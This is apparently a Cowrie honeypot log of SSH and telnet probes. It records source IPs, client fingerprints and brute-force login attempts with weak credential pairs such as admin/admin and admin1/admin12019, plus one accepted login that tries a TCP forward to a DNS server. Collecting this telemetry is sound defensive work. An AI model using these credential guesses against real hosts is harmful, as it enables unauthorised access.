{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:39.727361Z","src_ip":"45.120.216.232","session":"6c0f4d7ae2cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"admin123","message":"login attempt [sonar/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:40.599746Z","src_ip":"45.120.216.232","session":"6c0f4d7ae2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:41.814292Z","src_ip":"45.120.216.232","session":"6c0f4d7ae2cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1c793791905","protocol":"ssh","message":"New connection: 87.251.64.176:59596 (10.17.0.5:22) [session: b1c793791905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.289250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.293537Z","src_ip":"87.251.64.176","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.390030Z","src_ip":"87.251.64.176","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.679933Z","src_ip":"87.251.64.176","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.779171Z","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.876943Z","src_ip":"87.251.64.176","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:52.976070Z","src_ip":"87.251.64.176","session":"b1c793791905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33272,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5eef4e28a73","protocol":"ssh","message":"New connection: 159.203.92.129:33272 (159.203.135.109:22) [session: f5eef4e28a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:03.158785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:03.164581Z","src_ip":"159.203.92.129","session":"f5eef4e28a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:03.169904Z","src_ip":"159.203.92.129","session":"f5eef4e28a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1123456","message":"login attempt [admin1/admin1123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:03.187666Z","src_ip":"159.203.92.129","session":"f5eef4e28a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:04.196583Z","src_ip":"159.203.92.129","session":"f5eef4e28a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27672,"dst_ip":"10.17.0.5","dst_port":22,"session":"a072f8fbe4b6","protocol":"ssh","message":"New connection: 194.59.206.2:27672 (10.17.0.5:22) [session: a072f8fbe4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:19.363983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:20.511849Z","src_ip":"194.59.206.2","session":"a072f8fbe4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:20.515829Z","src_ip":"194.59.206.2","session":"a072f8fbe4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:21.691736Z","src_ip":"194.59.206.2","session":"a072f8fbe4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":34282,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce21ded439b","protocol":"ssh","message":"New connection: 45.120.216.232:34282 (159.203.135.109:22) [session: dce21ded439b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:40.611983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:40.617960Z","src_ip":"45.120.216.232","session":"dce21ded439b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:40.862997Z","src_ip":"45.120.216.232","session":"dce21ded439b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":35018,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a2ed9bfec8","protocol":"telnet","message":"New connection: 149.56.37.12:35018 (159.203.135.109:23) [session: 75a2ed9bfec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:41.474577Z"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail123","message":"login attempt [testmail/testmail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:41.870786Z","src_ip":"45.120.216.232","session":"dce21ded439b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:43.118632Z","src_ip":"45.120.216.232","session":"dce21ded439b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48010,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7e9fb8fa4c","protocol":"ssh","message":"New connection: 159.203.92.129:48010 (159.203.135.109:22) [session: da7e9fb8fa4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:46.895920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:46.904937Z","src_ip":"159.203.92.129","session":"da7e9fb8fa4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:46.909616Z","src_ip":"159.203.92.129","session":"da7e9fb8fa4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12018","message":"login attempt [admin1/admin12018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:46.924369Z","src_ip":"159.203.92.129","session":"da7e9fb8fa4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:14:47.932276Z","src_ip":"159.203.92.129","session":"da7e9fb8fa4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.236.176.58","src_port":39619,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bddfa8ea73e","protocol":"telnet","message":"New connection: 87.236.176.58:39619 (159.203.135.109:23) [session: 5bddfa8ea73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:12.005522Z"}
{"eventid":"cowrie.session.closed","duration":1.9996225833892822,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:14.004992Z","src_ip":"87.236.176.58","session":"5bddfa8ea73e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.566978931427,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:16.041432Z","src_ip":"149.56.37.12","session":"75a2ed9bfec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58198,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c1c56e89e6","protocol":"ssh","message":"New connection: 159.203.92.129:58198 (159.203.135.109:22) [session: 22c1c56e89e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:31.848222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:31.876875Z","src_ip":"159.203.92.129","session":"22c1c56e89e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:31.889788Z","src_ip":"159.203.92.129","session":"22c1c56e89e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12019","message":"login attempt [admin1/admin12019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:31.910415Z","src_ip":"159.203.92.129","session":"22c1c56e89e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:32.917851Z","src_ip":"159.203.92.129","session":"22c1c56e89e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":52256,"dst_ip":"159.203.135.109","dst_port":22,"session":"2542de9f1855","protocol":"ssh","message":"New connection: 45.120.216.232:52256 (159.203.135.109:22) [session: 2542de9f1855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:40.124809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:15:40.129535Z","src_ip":"45.120.216.232","session":"2542de9f1855","protocol":"ssh"}
